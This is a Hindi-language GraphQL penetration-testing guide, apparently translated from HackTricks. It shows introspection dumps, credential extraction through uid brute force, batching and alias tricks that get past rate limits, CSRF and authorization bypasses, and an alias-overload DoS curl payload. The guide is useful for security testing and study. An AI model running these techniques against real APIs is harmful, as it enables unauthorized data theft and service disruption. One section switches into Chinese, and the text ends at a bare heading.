657 lines
69 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# GraphQL
{{#include ../../banners/hacktricks-training.md}}
## Introduction
GraphQL को **REST API के लिए एक प्रभावी विकल्प** के रूप में **उजागर** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST की तुलना में, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को **एकल अनुरोध** के माध्यम से लाने की अनुमति देता है। यह सरलता **डेवलपर्स के लिए लाभकारी** है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करती है।
## GraphQL और सुरक्षा
नई तकनीकों के आगमन के साथ, जिसमें GraphQL भी शामिल है, नई सुरक्षा कमजोरियाँ भी उभरती हैं। एक महत्वपूर्ण बिंदु यह है कि **GraphQL डिफ़ॉल्ट रूप से प्रमाणीकरण तंत्र शामिल नहीं करता है**। ऐसे सुरक्षा उपायों को लागू करना डेवलपर्स की जिम्मेदारी है। उचित प्रमाणीकरण के बिना, GraphQL एंडपॉइंट्स अनधिकृत उपयोगकर्ताओं के लिए संवेदनशील जानकारी को उजागर कर सकते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम पैदा करता है।
### डायरेक्टरी ब्रूट फोर्स हमले और GraphQL
खुले GraphQL उदाहरणों की पहचान करने के लिए, डायरेक्टरी ब्रूट फोर्स हमलों में विशिष्ट पथों को शामिल करने की सिफारिश की जाती है। ये पथ हैं:
- `/graphql`
- `/graphiql`
- `/graphql.php`
- `/graphql/console`
- `/api`
- `/api/graphql`
- `/graphql/api`
- `/graphql/graphql`
खुले GraphQL उदाहरणों की पहचान करने से समर्थित क्वेरीज़ की जांच करने की अनुमति मिलती है। यह एंडपॉइंट के माध्यम से उपलब्ध डेटा को समझने के लिए महत्वपूर्ण है। GraphQL की अंतर्दृष्टि प्रणाली इस प्रक्रिया को सरल बनाती है, जो एक स्कीमा द्वारा समर्थित क्वेरीज़ का विवरण देती है। इस पर अधिक जानकारी के लिए, GraphQL दस्तावेज़ में अंतर्दृष्टि पर देखें: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
### फिंगरप्रिंट
उपकरण [**graphw00f**](https://github.com/dolevf/graphw00f) यह पहचानने में सक्षम है कि किसी सर्वर में कौन सा GraphQL इंजन उपयोग किया जा रहा है और फिर सुरक्षा ऑडिटर के लिए कुछ सहायक जानकारी प्रिंट करता है।
#### यूनिवर्सल क्वेरीज़ <a href="#universal-queries" id="universal-queries"></a>
यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक **यूनिवर्सल क्वेरी**, `query{__typename}`, भेजी जा सकती है। यदि प्रतिक्रिया में `{"data": {"__typename": "Query"}}` शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के `__typename` फ़ील्ड पर निर्भर करती है, जो क्वेरी की गई वस्तु के प्रकार को प्रकट करती है।
```javascript
query{__typename}
```
### Basic Enumeration
Graphql आमतौर पर **GET**, **POST** (x-www-form-urlencoded) और **POST**(json) का समर्थन करता है। हालांकि सुरक्षा के लिए केवल json की अनुमति देना अनुशंसित है ताकि CSRF हमलों को रोका जा सके।
#### Introspection
Schema जानकारी खोजने के लिए introspection का उपयोग करने के लिए, `__schema` फ़ील्ड को क्वेरी करें। यह फ़ील्ड सभी क्वेरियों के रूट प्रकार पर उपलब्ध है।
```bash
query={__schema{types{name,fields{name}}}}
```
इस क्वेरी के साथ आप सभी प्रकारों के नाम पाएंगे जो उपयोग में हैं:
![](<../../images/image (1036).png>)
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्क का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा।
![](<../../images/image (950).png>)
**त्रुटियाँ**
यह जानना दिलचस्प है कि क्या **त्रुटियाँ** **दिखाई** जाएँगी क्योंकि वे उपयोगी **जानकारी** में योगदान करेंगी।
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
![](<../../images/image (416).png>)
**इंट्रोस्पेक्शन के माध्यम से डेटाबेस स्कीमा की गणना करें**
> [!TIP]
> यदि इंट्रोस्पेक्शन सक्षम है लेकिन उपरोक्त क्वेरी नहीं चलती है, तो क्वेरी संरचना से `onOperation`, `onFragment`, और `onField` निर्देशों को हटाने का प्रयास करें।
```bash
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
इनलाइन इंट्रोस्पेक्शन क्वेरी:
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
अंतिम कोड पंक्ति एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट के नाम, पैरामीटर, प्रकार...) को डंप करेगी।
![](<../../images/image (363).png>)
यदि इंट्रोस्पेक्शन सक्षम है, तो आप [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) का उपयोग करके GUI में सभी विकल्प देख सकते हैं।
### क्वेरी करना
अब जब हम जानते हैं कि डेटाबेस के अंदर किस प्रकार की जानकारी सहेजी गई है, तो चलिए **कुछ मान निकालने** की कोशिश करते हैं।
इंट्रोस्पेक्शन में आप यह पता कर सकते हैं कि **आप किस ऑब्जेक्ट के लिए सीधे क्वेरी कर सकते हैं** (क्योंकि आप केवल इसलिए क्वेरी नहीं कर सकते कि ऑब्जेक्ट मौजूद है)। निम्नलिखित छवि में आप देख सकते हैं कि "_queryType_" को "_Query_" कहा जाता है और "_Query_" ऑब्जेक्ट के फ़ील्ड में से एक "_flags_" है, जो एक ऑब्जेक्ट का प्रकार भी है। इसलिए आप फ्लैग ऑब्जेक्ट के लिए क्वेरी कर सकते हैं।
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
ध्यान दें कि क्वेरी का प्रकार "_flags_" "_Flags_" है, और इस ऑब्जेक्ट को नीचे परिभाषित किया गया है:
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
आप देख सकते हैं कि "_Flags_" ऑब्जेक्ट **name** और **value** से मिलकर बने हैं। फिर आप क्वेरी के साथ फ्लैग के सभी नाम और मान प्राप्त कर सकते हैं:
```javascript
query={flags{name, value}}
```
ध्यान दें कि यदि **क्वेरी करने के लिए ऑब्जेक्ट** एक **प्राइमिटिव** **टाइप** है जैसे **स्ट्रिंग** जैसा कि निम्नलिखित उदाहरण में है
![](<../../images/image (958).png>)
आप इसे बस इस तरह क्वेरी कर सकते हैं:
```javascript
query = { hiddenFlags }
```
एक अन्य उदाहरण में जहाँ "_Query_" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "_user_" और "_users_"।\
यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी भी तर्क की आवश्यकता नहीं है, तो आप **उनसे सभी जानकारी प्राप्त कर सकते हैं** बस **आपके द्वारा मांगी गई डेटा** के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं:
![](<../../images/image (880).png>)
हालांकि, इस उदाहरण में यदि आप ऐसा करने की कोशिश करते हैं तो आपको यह **त्रुटि** मिलती है:
![](<../../images/image (1042).png>)
ऐसा लगता है कि यह किसी तरह "_**uid**_" तर्क का उपयोग करके खोज करेगा, जो _**Int**_ प्रकार का है।\
खैर, हम पहले से ही जानते थे कि, [Basic Enumeration](graphql.md#basic-enumeration) अनुभाग में एक क्वेरी प्रस्तावित की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था।
तो, कुछ हल्की _**uid**_ ब्रूटफोर्स करते हुए मैंने पाया कि _**uid**=**1**_ पर एक उपयोगकर्ता नाम और पासवर्ड प्राप्त हुआ:\
`query={user(uid:1){user,password}}`
![](<../../images/image (90).png>)
ध्यान दें कि मैंने **खोजा** कि मैं **पैरामीटर** "_**user**_" और "_**password**_" के लिए पूछ सकता हूँ क्योंकि यदि मैं कुछ ऐसा देखने की कोशिश करता हूँ जो मौजूद नहीं है (`query={user(uid:1){noExists}}`) तो मुझे यह त्रुटि मिलती है:
![](<../../images/image (707).png>)
और **enumeration phase** के दौरान मैंने खोजा कि "_**dbuser**_" ऑब्जेक्ट के पास "_**user**_" और "_**password**_" के रूप में फ़ील्ड थे।
**Query string dump trick (धन्यवाद @BinaryShadow\_)**
यदि आप एक स्ट्रिंग प्रकार द्वारा खोज सकते हैं, जैसे: `query={theusers(description: ""){username,password}}` और आप **खाली स्ट्रिंग** के लिए खोज करते हैं तो यह **सभी डेटा डंप करेगा**। (_इस उदाहरण को ट्यूटोरियल के उदाहरण से संबंधित नहीं माना जाता है, इस उदाहरण के लिए मान लें कि आप "**theusers**" को "**description**" नामक स्ट्रिंग फ़ील्ड द्वारा खोज सकते हैं_)।
### खोज
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** द्वारा पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं।
आप **नाम** द्वारा व्यक्तियों की **खोज** कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं:
```javascript
{
searchPerson(name: "John Doe") {
email
}
}
```
आप व्यक्तियों को **नाम** द्वारा **खोज** सकते हैं और उनके **सदस्यता** प्राप्त **फिल्में** प्राप्त कर सकते हैं:
```javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
ध्यान दें कि व्यक्ति के `subscribedMovies` का `name` प्राप्त करने के लिए कैसे संकेत दिया गया है।
आप **एक साथ कई वस्तुओं की खोज** भी कर सकते हैं। इस मामले में, 2 फिल्मों की खोज की जाती है:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
```
या यहां तक कि **विभिन्न वस्तुओं के कई संबंधों का उपयोग करते हुए उपनाम**:
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
### Mutations
**म्यूटेशन सर्वर-साइड में परिवर्तन करने के लिए उपयोग किए जाते हैं।**
**इंट्रोस्पेक्शन** में आप **घोषित** **म्यूटेशन** पा सकते हैं। निम्नलिखित छवि में "_MutationType_" को "_Mutation_" कहा जाता है और "_Mutation_" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "_addPerson_"):
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** से पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** से। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्मों का भी स्वामित्व रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाता है।
डेटाबेस के भीतर **नई** फिल्मों को **बनाने** के लिए एक म्यूटेशन इस प्रकार हो सकता है (इस उदाहरण में म्यूटेशन को `addMovie` कहा जाता है):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
```
**नोट करें कि कैसे दोनों मान और डेटा के प्रकार को क्वेरी में दर्शाया गया है।**
इसके अतिरिक्त, डेटाबेस एक **mutation** ऑपरेशन का समर्थन करता है, जिसका नाम `addPerson` है, जो **persons** के निर्माण की अनुमति देता है, साथ ही उनके मौजूदा **friends** और **movies** के साथ संबंध भी। यह महत्वपूर्ण है कि दोस्तों और फिल्मों का डेटाबेस में पहले से होना आवश्यक है, इससे पहले कि उन्हें नए बनाए गए व्यक्ति से जोड़ा जाए।
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
```
### Directive Overloading
जैसा कि [**इस रिपोर्ट में वर्णित एक कमजोरियों में**](https://www.landh.tech/blog/20240304-google-hack-50000/) में समझाया गया है, एक directive overloading का मतलब है कि एक directive को लाखों बार कॉल करना ताकि सर्वर ऑपरेशनों को बर्बाद करे जब तक कि इसे DoS करना संभव न हो।
### Batching brute-force in 1 API request
यह जानकारी [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) से ली गई थी।\
GraphQL API के माध्यम से **विभिन्न क्रेडेंशियल्स के साथ कई क्वेरीज़ को एक साथ भेजकर** प्रमाणीकरण करना। यह एक क्लासिक ब्रूट फोर्स हमला है, लेकिन अब HTTP अनुरोध प्रति एक से अधिक लॉगिन/पासवर्ड जोड़ी भेजना संभव है क्योंकि GraphQL बैचिंग सुविधा है। यह दृष्टिकोण बाहरी दर निगरानी अनुप्रयोगों को यह सोचने के लिए धोखा देगा कि सब कुछ ठीक है और कोई ब्रूट-फोर्सिंग बॉट पासवर्ड अनुमान लगाने की कोशिश नहीं कर रहा है।
नीचे आप एक एप्लिकेशन प्रमाणीकरण अनुरोध का सबसे सरल प्रदर्शन देख सकते हैं, जिसमें **एक समय में 3 विभिन्न ईमेल/पासवर्ड जोड़ी** हैं। स्पष्ट रूप से, एक ही अनुरोध में हजारों भेजना संभव है:
![](<../../images/image (1081).png>)
जैसा कि हम प्रतिक्रिया स्क्रीनशॉट से देख सकते हैं, पहले और तीसरे अनुरोध ने _null_ लौटाया और _error_ अनुभाग में संबंधित जानकारी को दर्शाया। **दूसरी म्यूटेशन में सही प्रमाणीकरण** डेटा था और प्रतिक्रिया में सही प्रमाणीकरण सत्र टोकन है।
![](<../../images/image (119) (1).png>)
## GraphQL Without Introspection
越来越多的 **graphql 端点正在禁用 introspection**。然而当收到意外请求时graphql 抛出的错误足以让像 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) 这样的工具重建大部分架构。
此外Burp Suite 扩展 [**GraphQuail**](https://github.com/forcesunseen/graphquail) 扩展 **观察通过 Burp 的 GraphQL API 请求****构建** 一个内部 GraphQL **架构**,每当它看到新的查询时。它还可以为 GraphiQL 和 Voyager 暴露架构。当它收到 introspection 查询时扩展返回一个假响应。因此GraphQuail 显示所有可用于 API 的查询、参数和字段。有关更多信息 [**请查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
一个不错的 **wordlist** 来发现 [**GraphQL 实体可以在这里找到**](https://github.com/Escape-Technologies/graphql-wordlist?)。
### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
API 中对 introspection 查询的限制可以通过在 `__schema` 关键字后插入 **特殊字符** 来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注 `__schema` 关键字来阻止 introspection。通过添加 GraphQL 忽略但可能未在正则表达式中考虑的字符,如 **空格、换行符和逗号**,可以绕过限制。例如,带有换行符的 introspection 查询可能会绕过此类防御:
```bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
```
यदि असफल रहें, तो वैकल्पिक अनुरोध विधियों पर विचार करें, जैसे **GET अनुरोध** या **POST `x-www-form-urlencoded` के साथ**, क्योंकि प्रतिबंध केवल POST अनुरोधों पर लागू हो सकते हैं।
### वेबसॉकेट्स का प्रयास करें
जैसा कि [**इस वार्ता**](https://www.youtube.com/watch?v=tIo_t5uUK50) में उल्लेख किया गया है, जांचें कि क्या WebSockets के माध्यम से graphQL से कनेक्ट करना संभव हो सकता है क्योंकि यह आपको संभावित WAF को बायपास करने की अनुमति दे सकता है और वेबसॉकेट संचार को graphQL के स्कीमा को लीक करने की अनुमति दे सकता है:
```javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
```
### **खुली GraphQL संरचनाओं का पता लगाना**
जब अंतर्दृष्टि अक्षम होती है, तो JavaScript पुस्तकालयों में प्रीलोडेड क्वेरीज़ के लिए वेबसाइट के स्रोत कोड की जांच करना एक उपयोगी रणनीति है। ये क्वेरीज़ डेवलपर टूल्स में `Sources` टैब का उपयोग करके पाई जा सकती हैं, जो API के स्कीमा के बारे में जानकारी प्रदान करती हैं और संभावित रूप से **खुली संवेदनशील क्वेरीज़** को उजागर करती हैं। डेवलपर टूल्स में खोजने के लिए कमांड हैं:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## CSRF in GraphQL
यदि आप नहीं जानते कि CSRF क्या है, तो निम्नलिखित पृष्ठ पढ़ें:
{{#ref}}
../../pentesting-web/csrf-cross-site-request-forgery.md
{{#endref}}
वहाँ आप कई GraphQL एंडपॉइंट्स पाएंगे **जो CSRF टोकन के बिना कॉन्फ़िगर किए गए हैं।**
ध्यान दें कि GraphQL अनुरोध आमतौर पर POST अनुरोधों के माध्यम से भेजे जाते हैं, जिसमें Content-Type **`application/json`** होता है।
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
हालांकि, अधिकांश GraphQL एंडपॉइंट भी **`form-urlencoded` POST अनुरोधों** का समर्थन करते हैं:
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
इसलिए, जैसे कि पिछले CSRF अनुरोध **बिना प्रीफ्लाइट अनुरोधों** के भेजे जाते हैं, यह संभव है कि **परिवर्तन** **किए जाएं** GraphQL में CSRF का दुरुपयोग करके।
हालांकि, ध्यान दें कि Chrome के `samesite` ध्वज का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल GET अनुरोधों में एक तीसरे पक्ष की वेबसाइट से भेजी जाएगी।
ध्यान दें कि आमतौर पर **क्वेरी** **अनुरोध** को **GET** **अनुरोध** के रूप में भेजना भी संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।
इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/index.html) **हमले** का दुरुपयोग करके GraphQL एंडपॉइंट से सामग्री को उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके निकालना संभव हो सकता है।
अधिक जानकारी के लिए **यहां मूल पोस्ट देखें** [**यहां**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)।
## GraphQL में क्रॉस-साइट वेबसॉकेट हाईजैकिंग
GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, **क्रॉस-साइट वेबसॉकेट हाईजैकिंग** करना भी संभव है ताकि GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके।
अधिक जानकारी के लिए देखें:
{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}
## GraphQL में प्राधिकरण
एंडपॉइंट पर परिभाषित कई GraphQL कार्य केवल अनुरोधकर्ता के प्रमाणीकरण की जांच कर सकते हैं लेकिन प्राधिकरण की नहीं।
क्वेरी इनपुट वेरिएबल को संशोधित करने से संवेदनशील खाता विवरण [लीक](https://hackerone.com/reports/792927) हो सकते हैं।
म्यूटेशन अन्य खाता डेटा को संशोधित करने का प्रयास करते समय खाता अधिग्रहण का कारण बन सकता है।
```javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### GraphQL में प्राधिकरण को बायपास करना
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) एक कमजोर प्रमाणीकरण प्रणाली को बायपास कर सकता है।
नीचे दिए गए उदाहरण में आप देख सकते हैं कि ऑपरेशन "forgotPassword" है और इसे केवल इसके साथ जुड़े forgotPassword क्वेरी को निष्पादित करना चाहिए। इसे अंत में एक क्वेरी जोड़कर बायपास किया जा सकता है, इस मामले में हम "register" और एक उपयोगकर्ता चर जोड़ते हैं ताकि प्रणाली एक नए उपयोगकर्ता के रूप में पंजीकरण कर सके।
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## GraphQL में उपनामों का उपयोग करके दर सीमाओं को बायपास करना
GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय **गुणों के नाम को स्पष्ट रूप से** निर्दिष्ट करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर **एक ही प्रकार** की वस्तुओं के **कई उदाहरणों** को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं।
GraphQL उपनामों की विस्तृत समझ के लिए, निम्नलिखित संसाधन की सिफारिश की जाती है: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)।
हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा सुरक्षित किया गया है जो HTTP अनुरोधों की **संख्या** को सीमित करके ब्रूट फोर्स हमलों को रोकने के लिए डिज़ाइन किए गए हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरी शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं।
नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरी का उपयोग स्टोर छूट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को बायपास कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई छूट कोड की एक साथ पुष्टि करने की अनुमति देती है।
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
```
## DoS in GraphQL
### Alias Overloading
**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, संभावित रूप से CPU या मेमोरी को समाप्त कर सकता है:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
इससे निपटने के लिए, संसाधन दुरुपयोग को रोकने के लिए उपनाम गणना सीमाएँ, क्वेरी जटिलता विश्लेषण, या दर सीमित करना लागू करें।
### **Array-based Query Batching**
